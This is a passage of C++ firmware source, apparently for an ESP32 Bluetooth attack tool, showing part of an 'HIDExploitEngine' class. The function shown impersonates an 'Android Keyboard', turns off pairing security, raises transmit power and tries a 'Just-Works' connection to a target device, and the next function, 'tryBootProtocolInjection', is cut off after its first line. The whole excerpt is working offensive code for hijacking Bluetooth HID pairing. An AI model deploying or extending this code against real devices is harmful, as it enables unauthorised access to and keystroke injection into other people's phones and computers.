| 545 | } |
| 546 | |
| 547 | bool HIDExploitEngine::tryAndroidJustWorks(NimBLEAddress target, HIDDeviceProfile profile) { |
| 548 | AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); |
| 549 | |
| 550 | showAttackProgress("Testing Android Just-Works pairing...", TFT_CYAN); |
| 551 | |
| 552 | BLEStateManager::deinitBLE(); |
| 553 | delay(300); |
| 554 | BLEStateManager::initBLE("Android Keyboard"); |
| 555 | NimBLEDevice::setSecurityAuth(false, false, false); |
| 556 | NimBLEDevice::setPower(ESP_PWR_LVL_P9); |
| 557 | |
| 558 | NimBLEClient *pClient = NimBLEDevice::createClient(); |
| 559 | if (!pClient) return false; |
| 560 | |
| 561 | BLEStateManager::registerClient(pClient); |
| 562 | |
| 563 | pClient->setConnectTimeout(8); |
| 564 | pClient->setConnectionParams(12, 12, 0, 400); |
| 565 | bool connected = pClient->connect(target, true); |
| 566 | |
| 567 | if (connected) { |
| 568 | showAttackProgress("Android Just-Works worked!", TFT_GREEN); |
| 569 | pClient->disconnect(); |
| 570 | BLEStateManager::unregisterClient(pClient); |
| 571 | NimBLEDevice::deleteClient(pClient); |
| 572 | cleanup.disable(); |
| 573 | return true; |
| 574 | } |
| 575 | |
| 576 | BLEStateManager::unregisterClient(pClient); |
| 577 | NimBLEDevice::deleteClient(pClient); |
| 578 | return false; |
| 579 | } |
| 580 | |
| 581 | bool HIDExploitEngine::tryBootProtocolInjection(NimBLEAddress target, HIDDeviceProfile profile) { |
| 582 | AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); |
no test coverage detected